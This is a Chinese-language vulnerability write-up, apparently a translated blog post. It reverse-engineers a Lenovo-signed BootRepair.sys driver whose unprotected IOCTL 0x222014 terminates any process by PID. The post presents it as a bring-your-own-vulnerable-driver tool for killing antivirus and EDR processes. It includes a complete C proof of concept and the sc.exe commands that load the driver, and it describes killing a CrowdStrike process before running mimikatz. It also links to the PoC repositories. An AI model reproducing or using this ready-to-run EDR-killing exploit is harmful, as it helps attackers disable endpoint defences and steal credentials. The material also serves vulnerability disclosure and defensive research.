不久前,我在搜寻驱动程序时,发现了一个与联想电脑管家相关的、非常有意思的联想驱动。 驱动名称:BootRepair.sysSHA256:5ab36c116767eaae53a466fbc2dae7cfd608ed77721f65e83312037fbd57c946我将该驱动上传到 VirusTotal,结果显示0 报毒、完全干净(这篇文章发布后,用不了多久就会出现 20 个以上报毒)。
该驱动为联想官方驱动,且由联想签名。
这看起来是 自带驱动攻击(BYOVD) 的完美目标。我立刻打开 IDA Pro 开始逆向分析该驱动。 驱动对应的 PDB 文件名表明,它用于启动修复或故障排查相关功能。
- 驱动通过 IoCreateDevice 创建了名为 \Device\BootRepair 的设备,第一个弱点:未使用安全的 DACL 保护设备对象,任何低权限用户均可与该驱动通信。
- 驱动创建了符号链接 \\DosDevices\BootRepair,用于用户态进程与驱动交互。
- 可以看到驱动的 MajorFunction 已完成配置。
接下来重点看 MajorFunction[0],每当用户态进程尝试打开驱动句柄时,都会调用该函数。 可以看到该函数直接完成 IRP 请求,没有任何访问校验,无法阻止用户态进程获取驱动句柄。
既然我们可以轻松获取驱动句柄,接下来重点分析 MajorFunction[14] 与驱动的 IOCTL 分发逻辑。 IDA Pro 数据类型识别出错,导致反编译结果异常。
我修复了代码并对关键变量重命名,使其更易读。
可以看到,该驱动只使用一个 IOCTL:0x222014。驱动会检查系统缓冲区是否为 4 字节,如果是,则调用 sub_14000198C 并将系统缓冲区作为参数传入。 对 sub_14000198C 逆向后发现,这是一个进程杀除函数:接收进程 PID → 获取进程句柄 → 通过 ZwTerminateProcess 终止进程。
该漏洞极其危险,武器化利用场景如下: - 若驱动已加载:任何低权限用户均可无限制访问驱动,杀掉任意进程,包括受保护进程、杀毒软件/EDR 进程。
- 若驱动未加载:完美适用于 BYOVD 攻击,攻击者可加载此受信任签名驱动到内核,并用它终止杀毒软件/EDR 等受保护进程。
下面编写 POC,逻辑非常清晰: - POC 通过符号链接打开驱动。
- 将目标进程 PID 发送给驱动,并使用正确的 IOCTL。
- 搞定!进程直接被杀死。
[AppleScript] 查看源码 复制代码 #include <windows.h>#include <stdio.h>int main(int argc, char* argv[]) { if (argc != 2) { printf("usage: poc.exe <pid>\n"); return 1; } DWORD pid = atoi(argv[1]); HANDLE h = CreateFileW(L"\\\\.\\BootRepair", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (h == INVALID_HANDLE_VALUE) { printf("[-] open device failed: %d\n", GetLastError()); return 1; } DWORD ret; if (DeviceIoControl(h, 0x222014, &pid, sizeof(pid), NULL, 0, &ret, NULL)) printf("[+] killed %d\n", pid); else printf("[-] ioctl failed: %d\n", GetLastError()); CloseHandle(h); return 0;}
我们在 CrowdStrike 上测试:CrowdStrike 正常运行且为最新版本,即使用管理员权限也无法终止它。
现在用 sc.exe 加载我们的驱动,可以看到加载完全正常、无任何报错。
[AppleScript] 查看源码 复制代码 sc.exe create PhantomKiller binPath="C:\BootRepair.sys" type=kernelsc.exe start PhantomKiller
现在对 CrowdStrike 进程运行 POC。进程成功被杀死,之后我们就可以运行 mimikatz 等工具。
我尚未在其他 EDR 上测试,但结果可想而知:由于该驱动是受信任的,且目前(发表前)未被识别为有漏洞,它可以轻松杀死任何 EDR。 我计划后续放出更多有漏洞的驱动,感兴趣可以在 LinkedIn 和 Medium 关注我。 LinkedIn:
https://www.linkedin.com/in/jehadabudagga/ POC 地址: https://github.com/redteamfortress/PhantomKiller POC 备份地址: https://git.redteamfortress.com/j3h4ck/PhantomKiller
|